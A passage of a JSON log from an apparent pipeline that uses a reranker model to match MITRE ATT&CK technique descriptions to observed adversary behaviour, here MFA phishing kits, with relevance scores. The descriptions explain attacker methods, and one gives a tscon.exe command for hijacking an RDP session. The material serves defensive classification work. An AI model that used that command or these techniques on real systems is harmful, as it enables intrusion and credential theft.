trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free. After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1204.001", + "text": "ATT&CK technique: T1204.001 Malicious Link\nDescription: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1040", + "text": "ATT&CK technique: T1040 Network Sniffing\nDescription: Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as Name Resolution Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Stealth activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. On network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.\nTactics: credential access, discovery\nPlatforms: IaaS, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1566.004", + "text": "ATT&CK technique: T1566.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer. Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1056.002", + "text": "ATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1683.002", + "text": "ATT&CK technique: T1683.002 Audio-Visual Content\nDescription: Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals. Content may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services. AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. Audio-visual content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1090", + "text": "ATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1090.001", + "text": "ATT&CK technique: T1090.001 Internal Proxy\nDescription: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1219.003", + "text": "ATT&CK technique: T1219.003 Remote Access Hardware\nDescription: An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment. Remote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1496.003", + "text": "ATT&CK technique: T1496.003 SMS Pumping\nDescription: Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability. SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider. Threat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background. In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.\nTactics: impact\nPlatforms: SaaS" + }, + { + "id": "T1027.017", + "text": "ATT&CK technique: T1027.017 SVG Smuggling\nDescription: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files. SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. SVG smuggling can take a number of forms. For example, threat actors may include content that: * Assembles malicious payloads * Downloads malicious payloads * Redirects users to malicious websites * Displays interactive content to users, such as fake login forms and download buttons. SVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file. SVGs may also be included in other types of documents, such as PDFs.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1677", + "text": "ATT&CK technique: T1677 Poisoned Pipeline Execution\nDescription: Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: * In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact. * In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters. * In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network. By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\nTactics: execution\nPlatforms: SaaS" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.004", + "text": "ATT&CK technique: T1592.004 Client Configurations\nDescription: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.001", + "text": "ATT&CK technique: T1597.001 Threat Intel Vendors\nDescription: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures. Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1556", + "text": "ATT&CK technique: T1556 Modify Authentication Process\nDescription: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1056.004", + "text": "ATT&CK technique: T1056.004 Credential API Hooking\nDescription: Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. In Windows, hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. In Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1195.001", + "text": "ATT&CK technique: T1195.001 Compromise Software Dependencies and Development Tools\nDescription: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user. Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1563.002", + "text": "ATT&CK technique: T1563.002 RDP Hijacking\nDescription: Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.\nTactics: lateral movement\nPlatforms: Windows" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1539", + "score": 1.0, + "rank": 0 + }, + { + "item_id": "T1185", + "score": 0.9921875, + "rank": 1 + }, + { + "item_id": "T1557", + "score": 0.984375, + "rank": 2 + }, + { + "item_id": "T1598.003", + "score": 0.98046875, + "rank": 3 + }, + { + "item_id": "T1566", + "score": 0.9765625, + "rank": 4 + }, + { + "item_id": "T1056", + "score": 0.84375, + "rank": 5 + }, + { + "item_id": "T1598", + "score": 0.70703125, + "rank": 6 + }, + { + "item_id": "T1090", + "score": 0.2451171875, + "rank": 7 + }, + { + "item_id": "T1204", + "score": 0.06787109375, + "rank": 8 + }, + { + "item_id": "T1555.003", + "score": 0.06396484375, + "rank": 9 + }, + { + "item_id": "T1550.004", + "score": 0.06005859375, + "rank": 10 + }, + { + "item_id": "T1589.001", + "score": 0.039306640625, + "rank": 11 + }, + { + "item_id": "T1557.004", + "score": 0.03759765625, + "rank": 12 + }, + { + "item_id": "T1040", + "score": 0.0311279296875, + "rank": 13 + }, + { + "item_id": "T1659", + "score": 0.029296875, + "rank": 14 + }, + { + "item_id": "T1555", + "score": 0.02587890625, + "rank": 15 + }, + { + "item_id": "T1606", + "score": 0.021728515625, + "rank": 16 + }, + { + "item_id": "T1217", + "score": 0.021728515625, + "rank": 17 + }, + { + "item_id": "T1534", + "score": 0.0167236328125, + "rank": 18 + }, + { + "item_id": "T1684.001", + "score": 0.0142822265625, + "rank": 19 + }, + { + "item_id": "T1606.001", + "score": 0.0111083984375, + "rank": 20 + }, + { + "item_id": "T1583", + "score": 0.01043701171875, + "rank": 21 + }, + { + "item_id": "T1586", + "score": 0.01043701171875, + "rank": 22 + }, + { + "item_id": "T1589", + "score": 0.00921630859375, + "rank": 23 + }, + { + "item_id": "T1608.005", + "score": 0.00921630859375, + "rank": 24 + }, + { + "item_id": "T1056.003", + "score": 0.0086669921875, + "rank": 25 + }, + { + "item_id": "T1059", + "score": 0.00811767578125, + "rank": 26 + }, + { + "item_id": "T1189", + "score": 0.005584716796875, + "rank": 27 + }, + { + "item_id": "T1557.003", + "score": 0.004364013671875, + "rank": 28 + }, + { + "item_id": "T1078", + "score": 0.00408935546875, + "rank": 29 + }, + { + "item_id": "T1608.004", + "score": 0.00299072265625, + "rank": 30 + }, + { + "item_id": "T1090.001", + "score": 0.00299072265625, + "rank": 31 + }, + { + "item_id": "T1204.001", + "score": 0.0025634765625, + "rank": 32 + }, + { + "item_id": "T1588.004", + "score": 0.002471923828125, + "rank": 33 + }, + { + "item_id": "T1674", + "score": 0.0023345947265625, + "rank": 34 + }, + { + "item_id": "T1200", + "score": 0.00193023681640625, + "rank": 35 + }, + { + "item_id": "T1036.012", + "score": 0.0018157958984375, + "rank": 36 + }, + { + "item_id": "T1584.008", + "score": 0.0018157958984375, + "rank": 37 + }, + { + "item_id": "T1056.002", + "score": 0.0017547607421875, + "rank": 38 + }, + { + "item_id": "T1528", + "score": 0.0016021728515625, + "rank": 39 + }, + { + "item_id": "T1683.002", + "score": 0.0016021728515625, + "rank": 40 + }, + { + "item_id": "T1566.004", + "score": 0.00141143798828125, + "rank": 41 + }, + { + "item_id": "T1140", + "score": 0.00113677978515625, + "rank": 42 + }, + { + "item_id": "T1563.002", + "score": 0.00099945068359375, + "rank": 43 + }, + { + "item_id": "T1593.001", + "score": 0.00096893310546875, + "rank": 44 + }, + { + "item_id": "T1592", + "score": 0.00096893310546875, + "rank": 45 + }, + { + "item_id": "T1556", + "score": 0.00096893310546875, + "rank": 46 + }, + { + "item_id": "T1036", + "score": 0.000911712646484375, + "rank": 47 + }, + { + "item_id": "T1584.006", + "score": 0.00083160400390625, + "rank": 48 + }, + { + "item_id": "T1563", + "score": 0.00083160400390625, + "rank": 49 + }, + { + "item_id": "T1001.003", + "score": 0.0007781982421875, + "rank": 50 + }, + { + "item_id": "T1056.004", + "score": 0.00075531005859375, + "rank": 51 + }, + { + "item_id": "T1041", + "score": 0.000667572021484375, + "rank": 52 + }, + { + "item_id": "T1588.007", + "score": 0.000667572021484375, + "rank": 53 + }, + { + "item_id": "T1596.004", + "score": 0.000606536865234375, + "rank": 54 + }, + { + "item_id": "T1583.006", + "score": 0.000606536865234375, + "rank": 55 + }, + { + "item_id": "T1592.004", + "score": 0.000518798828125, + "rank": 56 + }, + { + "item_id": "T1591.004", + "score": 0.000518798828125, + "rank": 57 + }, + { + "item_id": "T1593.002", + "score": 0.0005035400390625, + "rank": 58 + }, + { + "item_id": "T1596.003", + "score": 0.00048828125, + "rank": 59 + }, + { + "item_id": "T1204.005", + "score": 0.000431060791015625, + "rank": 60 + }, + { + "item_id": "T1597.002", + "score": 0.000392913818359375, + "rank": 61 + }, + { + "item_id": "T1105", + "score": 0.0003147125244140625, + "rank": 62 + }, + { + "item_id": "T1596.002", + "score": 0.0003147125244140625, + "rank": 63 + }, + { + "item_id": "T1027.017", + "score": 0.0002956390380859375, + "rank": 64 + }, + { + "item_id": "T1596.001", + "score": 0.000278472900390625, + "rank": 65 + }, + { + "item_id": "T1195.001", + "score": 0.0002460479736328125, + "rank": 66 + }, + { + "item_id": "T1115", + "score": 0.0002307891845703125, + "rank": 67 + }, + { + "item_id": "T1219.003", + "score": 0.00016880035400390625, + "rank": 68 + }, + { + "item_id": "T1677", + "score": 0.00016880035400390625, + "rank": 69 + }, + { + "item_id": "T1596.005", + "score": 0.0001583099365234375, + "rank": 70 + }, + { + "item_id": "T1132", + "score": 0.000148773193359375, + "rank": 71 + }, + { + "item_id": "T1496.003", + "score": 0.0001316070556640625, + "rank": 72 + }, + { + "item_id": "T1681", + "score": 0.00012302398681640625, + "rank": 73 + }, + { + "item_id": "T1597.001", + "score": 9.012222290039062e-05, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 27831 + } + }, + "evidence_sha256": "b5b37d6b9da07756c13f7dfd96f1d0448e4691c4c5d752f4d185400788cfa64c" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 977.3, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: MFA phishing kits ranging from simple open-source kits with human readable code and no-frills functionality to sophisticated kits utilizing numerous layers of obfuscation and built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers." + }, + "items": [ + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Cybercriminals will target users from every conceivable method possible, leveraging their email scams, SMS phishing (SMiShing), typo-squatting, domain-squatting, and malvertising in an attempt to collect sensitive information from the user or worse." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: An additional example of a recent fake video conferencing 